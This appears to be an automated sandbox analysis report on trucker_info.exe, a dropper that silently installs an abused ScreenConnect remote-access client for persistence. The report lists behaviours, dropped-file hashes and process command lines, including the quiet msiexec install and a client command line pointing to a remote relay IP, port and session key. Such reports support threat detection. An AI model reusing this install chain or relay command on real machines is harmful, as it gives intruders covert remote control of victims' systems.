Analysis

  • max time kernel
    165s
  • max time network
    166s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 10:14

General

  • Target
    trucker_info.exe
  • Size 239KB
  • Sample260804-l92pcss1dv
  • SHA256 130a4605825eea29caadb8594dd5a1762c18d778759eebcc648b4b96596ce20f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 2 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Drops file in Program Files directory 18 IoCs
  • Drops file in Windows directory 26 IoCs
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\trucker_info.exe
    "C:\Users\Admin\AppData\Local\Temp\trucker_info.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4604
    • C:\Windows\System32\msiexec.exe
      "C:\Windows\System32\msiexec.exe" /i "C:\Windows\Temp\advance.msi" /quiet /qn /norestart
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2908
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4552
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B74C0DBA7FB4E18F70CB9E84377FEF54
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1928
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIB59A.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240760515 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Drops file in Windows directory
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:5324
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 2543F54F0C111432D8E85A3BE1969746 E Global\MSI0000
      2⤵
      • Drops file in Windows directory
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:2796
  • C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=194.150.166.178&p=8041&s=2195ccca-b822-4779-ab0e-5e818d9593c1&k=BgIAAACkAABSU0ExAAgAAAEAAQBNxT6MQOn85DoDi25lz5qTqjY6nVi7R5LOUXWZOkMk3fYym0xVnfs0dpaeFFtCcg4eokRnjHneaHQ5n0Bm86Lik5Weo1maxLyrcGwBNCtlyguo6g36o1B9zGDbdbKOilQRdEyF9LOLP96cstllD8gF2PaSSK3RrGvyP3LjEThBrQl8WEHjsGxpzm0XYCgUfwFD3%2f7ao1ghoR1NrLC3yCk%2fKfM%2ft88fYf8XTWjx619zXvUogO7Jm5OC5guBt4%2bvgjcd%2bnTfP93OapEIsdAX%2fC1LxHqqVS9IgJI4mLFapQaPI510ZuPlIo8RpL%2bCHlt%2f4ZkLHDwv6pxpbyHrpGTSLQek"
    1⤵
    • Sets service image path in registry
    • Drops file in System32 directory
    • Executes dropped EXE
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:5152
    • C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.WindowsClient.exe" "RunRole" "2a15ac28-2a73-49c6-a4e6-5f6e5c453805" "User"
      2⤵
      • Executes dropped EXE
      PID:5192
    • C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.WindowsClient.exe" "RunRole" "e8e0e288-44b9-4213-b45c-e4efa4f17e2d" "System"
      2⤵
      • Executes dropped EXE
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:3156

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e59b38a.rbs

        • Path C:\Config.Msi\e59b38a.rbs
        • Size 214KB
        • SHA256 1e258d5fe3abb530ae61f6ff2e829a5af65b31c52dacbbf122a15775952ae9e6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.Override.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\Client.Override.resources
        • Size 53KB
        • SHA256 47dd264c5fa9d9fcbee49981be06fb2c1372b69f37a5ba7ab215bed22d893e35
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\Client.en-US.resources
        • Size 48KB
        • SHA256 7fcb6e6a7803f9f84ff1d3320714af72b411490c307595743162e2f3a4e50f87
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\Client.resources
        • Size 26KB
        • SHA256 de185ee5d433e6cfbb2e5fcc903dbd60cc833a3ca5299f2862b253a41e7aa08c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.Client.dll
        • Size 192KB
        • SHA256 ea0a545f40ff491d02172228c1a39ae68344c4340a6094486a47be746952e64f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.ClientService.dll
        • Size 66KB
        • SHA256 fd5818dcdf5fc76316b8f7f96630ec66bb1cb5b5a8127cf300e5842f2c74ffca
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 f1b5c000794f046259121c63ed37f9eff0cfe1258588eca6fd85e16d3922767e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.WindowsClient.exe
        • Size 588KB
        • SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 822KB
        • SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        app.config

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\app.config
        • Size 1KB
        • SHA256 d661e46e08a9c066cabecc6467e7f20894e715d83729d0c2d8ed93885ef9bfd2
        • MD5 SHA1 SHA512 TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (de28c68c89fb2fa2)\system.config
        • Size 937B
        • SHA256 57c10a85b098a351e1eac53333cbcbec5a62ccb1704a3a1cbe4ff59f4585aaad
        • MD5 SHA1 SHA512 TLSH

        MSIB59A.tmp

        • Path C:\Windows\Installer\MSIB59A.tmp
        • Size 1.0MB
        • SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIB59A.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIB59A.tmp-\ScreenConnect.Core.dll
        • Size 536KB
        • SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIB59A.tmp-\ScreenConnect.InstallerActions.dll
        • Size 11KB
        • SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIB59A.tmp-\ScreenConnect.Windows.dll
        • Size 1.6MB
        • SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIBEE3.tmp

        • Path C:\Windows\Installer\MSIBEE3.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        advance.msi

        • Path C:\Windows\Temp\advance.msi
        • Size 11.3MB
        • SHA256 73f29f28569eb073e77946511204b82debd8b5072b940a54fc8704117b6a3961
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3156-145-0x0000000002950000-0x0000000002991000-memory.dmp

        memory/4552-146-0x000001F634450000-0x000001F634DF4000-memory.dmp

        memory/5152-97-0x0000000001E90000-0x0000000001EA8000-memory.dmp

        memory/5152-128-0x0000000004E20000-0x0000000004EF2000-memory.dmp

        memory/5152-119-0x0000000004B00000-0x0000000004B50000-memory.dmp

        memory/5152-126-0x0000000004B90000-0x0000000004BD1000-memory.dmp

        memory/5152-123-0x0000000004B50000-0x0000000004B86000-memory.dmp

        memory/5152-124-0x0000000004C30000-0x0000000004CC2000-memory.dmp

        memory/5192-138-0x0000000002A10000-0x0000000002A46000-memory.dmp

        memory/5192-139-0x000000001B820000-0x000000001B8AC000-memory.dmp

        memory/5192-140-0x000000001BA60000-0x000000001BC0A000-memory.dmp

        memory/5192-137-0x00000000007F0000-0x0000000000886000-memory.dmp

        memory/5192-141-0x000000001BDA0000-0x000000001BF28000-memory.dmp

        memory/5192-142-0x00000000029D0000-0x00000000029E8000-memory.dmp

        memory/5192-143-0x0000000002B80000-0x0000000002B98000-memory.dmp

        memory/5324-46-0x00000000039A0000-0x00000000039CE000-memory.dmp

        memory/5324-50-0x00000000039E0000-0x00000000039EA000-memory.dmp

        memory/5324-59-0x0000000006440000-0x00000000069FA000-memory.dmp

        memory/5324-54-0x0000000005A90000-0x0000000005B1C000-memory.dmp

        memory/5324-58-0x0000000005CD0000-0x0000000005E7A000-memory.dmp